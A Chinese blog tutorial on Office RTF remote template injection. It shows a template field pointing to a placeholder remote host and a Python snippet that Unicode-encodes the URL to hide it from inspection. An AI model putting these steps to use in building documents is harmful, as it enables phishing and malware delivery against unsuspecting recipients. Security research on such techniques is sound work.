Office RTF远程模板注入
远程模板插入
ProofPoin最近写了一篇文章,报告中提到近年来RTF模板注入进行office钓鱼攻击的数量增加。之前还没怎么了解过RTF模板注入的,现在和小编一起去看看吧(笑hhh)。
相对DOC模板注入的创建而言比较简单,创建一个rtf文档,使用office word进行编辑,随便写个内容。

保存之后会发现文档从原来的几个字节大小变为几十KB。这是因为里面添加了大量RTF文档格式属性字段值。

那如何进行模板注入呢,RTF文档支持一个相关的控制字段:*\template,该字段值需要跟着使用的模板名,整个属性字段需要使用大括号括起来。

然后直接使用文本编辑器打开之前保存的rtf文档。进行远程模板注入的话,插入的内容形如:{\*\template hxxp://xx.xx.xx.xx:port/xxx.xxx}。至于插入位置,经过测试,放在大括号后面,前面,或是之间,都可以获取远程模板。例如:

插入字段并保存修改,再次使用Word打开,成功实现了模板注入。


Unicode形式URL模板插入
更进一步,*\template字段参数值可以为Unicode,可以更好隐藏自身。关于如何将Ascii转为Unicode表示形式,参考[3]文章如下。

Python代码表示如下:
def trans(url):
return ''.join(['\\u'+str(-(0xffff+1-ord(c)))+'?' for c in url])
那如何自制一个RTF Unicode模板注入呢?在原本基础上直接修改\*\template的属性值没用。而按proofpoint文章中所说,涉及到\*\wgrffmtfilter字段,然而查看相应文档,并且经过一番测试,和该字段实际并无关系。通过比对一些网络上的相关技术利用样本后发现,该方式应是和RTF文档首部的\uc字段有关。
\ucN:指定当前大括号中\uN表示的UNICODE字符对应的字节数。

现在只需要修改\uc为\uc1(在中文环境下默认保存为2),然后使用和第一节中相同方式将\*\template字段插入文档,可成功实现。

参考:
[1] https://www.proofpoint.com/us/blog/threat-insight/injection-new-black-novel-rtf-template-inject-technique-poised-widespread
[2] http://www.biblioscape.com/rtf15_spec.htm
[3] https://ciberseguridad.blog/decodificando-ficheros-rtf-maliciosos/
Office RTF远程模板注入的更多相关文章
- Word模板注入攻击
Word模板注入攻击 0x00 工具准备 phishery:https://github.com/ryhanson/phishery/releases office版本:office 2010 0x0 ...
- 威胁预警|Solr velocity模板注入远程命令执行已加入watchbog武器库,漏洞修补时间窗口越来越短
概述 近日,阿里云安全团队监测到挖矿团伙watchbog更新了其使用的武器库,增加了最新Solr Velocity 模板注入远程命令执行漏洞的攻击方式,攻击成功后会下载门罗币挖矿程序进行牟利.建议用户 ...
- python 模板注入
今天学习了python的模板注入,这里自己搭建环境测试以下,参考文章:http://www.freebuf.com/articles/web/136118.html web 程序包括两个文件: fla ...
- Confluence未授权模板注入/代码执行(CVE-2019-3396)
--- title: Confluence未授权模板注入/代码执行(CVE-2019-3396) tags: [poc,cve] num :g7y12 --- # 简介 --- Confluence是 ...
- Apache Solr Velocity模板注入RCE漏洞复现
Apache Solr Velocity模板注入RCE漏洞复现 一.Apache Solr介绍 Solr是一个独立的企业级搜索应用服务器,它对外提供类似于web-service的API接口,用户可以通 ...
- CVE-2019-3396:Confluence未授权模板注入_代码执行
title: Confluence未授权模板注入/代码执行(CVE-2019-3396) tags: [poc,cve] 简介 Confluence是一个专业的企业知识管理与协同软件,也可以用于构建企 ...
- SSTI-服务端模板注入漏洞
原理: 服务端模板注入是由于服务端接收了用户的输入,将其作为 Web 应用模板内容的一部分,在进行目标编译渲染的过程中,执行了用户插入的恶意内容,因而导致了敏感信息泄露.代码执行.GetShell ...
- SSTI-服务端模板注入
SSTI-服务端模板注入漏洞 原理: 服务端模板注入是由于服务端接收了用户的输入,将其作为 Web 应用模板内容的一部分,在进行目标编译渲染的过程中,执行了用户插入的恶意内容,因而导致了敏感信息泄露. ...
- XFF SSTI 模板注入 [BJDCTF2020]The mystery of ip
转自https://www.cnblogs.com/wangtanzhi/p/12328083.html SSTI模板注入:之前也写过:https://www.cnblogs.com/wangtanz ...
随机推荐
- react中Fragment组件
什么是Fragment?在我们定义组件的时候return里最外层包裹的div往往不想渲染到页面,那么就要用到我们的Fragment组件了,具体使用如下: import React, { Compone ...
- vue js 格式化时间
常用于iview日期组件时间处理 /** * @param {Number} num 数值 * @returns {String} 处理后的字符串 * @description 如果传入的数值小于10 ...
- GitHub 公布 2021 Top 10 博文「GitHub 热点速览」
作者:HelloGitHub-小鱼干 2021 年在这周彻底同我们告别了,在本周的「News 快读」模块你可以看到过去一年 GitHub 的热门文章,其中有我们熟悉的可能让很多程序员"失业& ...
- 【Maven】maven 插件开发实战
前言 众所周知,maven 实质上是一个插件执行框架,所有的工作都是通过插件完成的.包括我们日常使用到的类似 install.clean.deploy.compiler...这些命令,其实底层都是一个 ...
- Flowable实战(二)集成Springboot
1.创建Springboot项目 打开IDEA,通过File -> New -> Project- -> Spring Initializr 创建一个新的Springboot项目 ...
- leetcode 1021. 删除最外层的括号
问题描述 有效括号字符串为空 ("")."(" + A + ")" 或 A + B,其中 A 和 B 都是有效的括号字符串,+ 代表字符串的 ...
- 【Android】安卓四大组件之Activity(一)
[Android]安卓四大组件之Activity(一) 前言 Activity是Android学习中的一个重要组件,想要对其进行系统的了解可以分为几块内容,这一大章节的内容是有关于activity之间 ...
- nRF24L01基于FIFO TX队列的发送性能优化
RF24项目代码分析 头文件 https://github.com/nRF24/RF24/blob/master/RF24.h 源文件 https://github.com/nRF24/RF24/bl ...
- pytest文档1-环境搭建
1.安装方法 pip install -U pytest 2.查看安装版本 pip show pytest pytest -version 3.快速开始 新建test开头py文件 打开test_sam ...
- echarts x轴的纵向区域随便点击获取点击的x轴那一纵向区域的值
1.现在xAxis里面配置一下: 2.在生成图表的后面加入框起来的部分 myChart.getZr().on('click', function (params) { /* 通过获取echarts上面 ...